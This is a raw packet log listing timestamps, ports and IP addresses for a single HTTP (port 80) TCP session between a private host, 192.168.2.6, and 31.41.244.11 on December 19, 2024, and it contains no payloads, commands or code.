Dec 19, 2024 16:10:42.286807060 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.286849022 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.288394928 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.288455963 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.288486004 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.288595915 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.289978981 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.290046930 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.290079117 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.290079117 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.291568041 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.291596889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.291634083 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.291660070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.292531967 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.292545080 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.292576075 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.292592049 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.293378115 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.293437958 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.293488979 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.293972015 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.294271946 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.294326067 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.294461012 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.294512033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.295207977 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.295262098 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.295550108 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.295794964 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.296086073 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.296134949 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.296169996 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.296221972 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.297038078 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.297090054 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.297097921 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.297122955 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.297920942 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.297969103 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.297995090 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.298032045 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.298845053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.298892021 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.298974037 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.299015045 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.299797058 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.299860001 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.299875021 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.299911976 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.300724983 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.300767899 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.300853014 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.300893068 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.301563978 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.301601887 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.301677942 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.301738977 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.302473068 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.302592039 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.302619934 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.302634001 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.303421021 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.303474903 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.303518057 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.303555965 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.304604053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.304739952 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.304750919 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.304795027 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.305417061 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.305479050 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.305531025 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.306092024 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.306134939 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.306257963 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.306297064 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.306979895 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.307027102 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.307096004 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.307141066 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.307962894 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.308010101 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.308123112 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.308202028 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.308823109 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.308911085 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.308916092 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.308973074 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.309762955 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.309797049 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.309812069 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.309842110 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.310679913 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.310734987 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.310755968 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.310837984 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.311541080 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.311585903 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.311623096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.311661959 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.312463045 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.312513113 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.312663078 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.312809944 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.313482046 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.313535929 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.313536882 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.313580036 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.314403057 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.314461946 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.314615965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.314675093 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.315202951 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.315249920 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.315303087 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.315829992 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.316071033 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.316174030 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.316219091 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.316987991 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.317034960 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.317110062 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.317162037 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.317962885 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.318011999 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.318154097 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.318310976 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.318804979 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.318850994 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.318886042 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.318927050 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.427186966 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.427215099 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.427341938 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.427341938 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.427350044 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.427383900 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.427447081 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.427488089 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.428327084 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.428365946 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.428369045 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.428402901 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.428997040 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.429032087 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.429096937 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.429137945 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.451339960 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.451359987 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.451406956 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.451442957 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.451608896 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.451680899 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.451809883 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.451845884 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.452537060 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.452578068 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.452614069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.452650070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.453474998 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.453495979 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.453541040 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.454433918 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.454571962 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.454629898 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.455435038 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.455487967 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.455499887 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.455535889 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.456150055 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.456197023 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.456254959 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.456286907 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.457083941 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.457134962 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.457166910 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.457204103 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.457964897 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.458009958 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.458112955 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.458148003 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.458904028 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.458949089 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.459014893 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.459053040 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.459799051 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.459846020 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.459924936 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.459963083 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.460706949 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.460886002 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.460935116 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.461724043 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.461779118 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.461796999 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.461837053 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.462538958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.462584019 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.462649107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.462682009 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.463459969 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.463567019 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.463581085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.463620901 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.464425087 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.464541912 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.464590073 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.465287924 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.465336084 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.465426922 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.465466022 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.466172934 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.466226101 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.466310978 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.466353893 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.467096090 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.467139006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.467231035 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.467267990 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.468133926 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.468185902 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.468278885 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.468712091 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.469275951 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.469347954 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.469436884 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.469436884 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.470158100 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.470233917 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.470258951 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.470271111 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.470928907 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.471029043 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.471091032 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.471642017 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.471692085 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.471718073 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.471757889 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.472580910 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.472717047 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.472762108 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.473449945 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.473499060 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.473535061 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.473572016 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.474363089 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.474406004 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.474436998 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.474471092 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.475342989 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.475383043 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.475621939 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.475660086 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.476171970 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.476217985 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.476274014 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.476321936 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.477071047 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.477112055 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.477185965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.477298975 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.477993965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.478037119 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.478112936 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.478152037 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.478907108 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.478955030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.479031086 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.479068041 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.479819059 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.479901075 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.479938030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.479938030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.480750084 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.480855942 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.480901003 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.481646061 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.481693983 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.481748104 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.481787920 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.482556105 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.482598066 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.482629061 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.482666969 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.483441114 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.483488083 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.483535051 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.483603001 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.484349966 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.484399080 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.484473944 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.485337973 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.485387087 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.485413074 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.485454082 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.486155033 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.486203909 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.486284018 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.486327887 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.487137079 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.487198114 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.487236023 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.487346888 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.488022089 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.488065958 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.488140106 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.488203049 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.488910913 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.488961935 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.488991022 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.489026070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.489835024 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.489882946 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.490017891 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.490257025 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.490731001 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.490778923 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.490858078 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.490904093 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.491647959 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.491692066 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.491791964 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.492266893 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.492526054 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.492562056 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.492624044 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.492660999 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.493432999 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.493467093 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.493474007 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.493501902 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.494399071 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.494442940 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.494481087 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.494514942 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.495310068 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.495379925 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.495423079 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.619416952 CET	80	49931	31.41.244.11	192.168.2.6
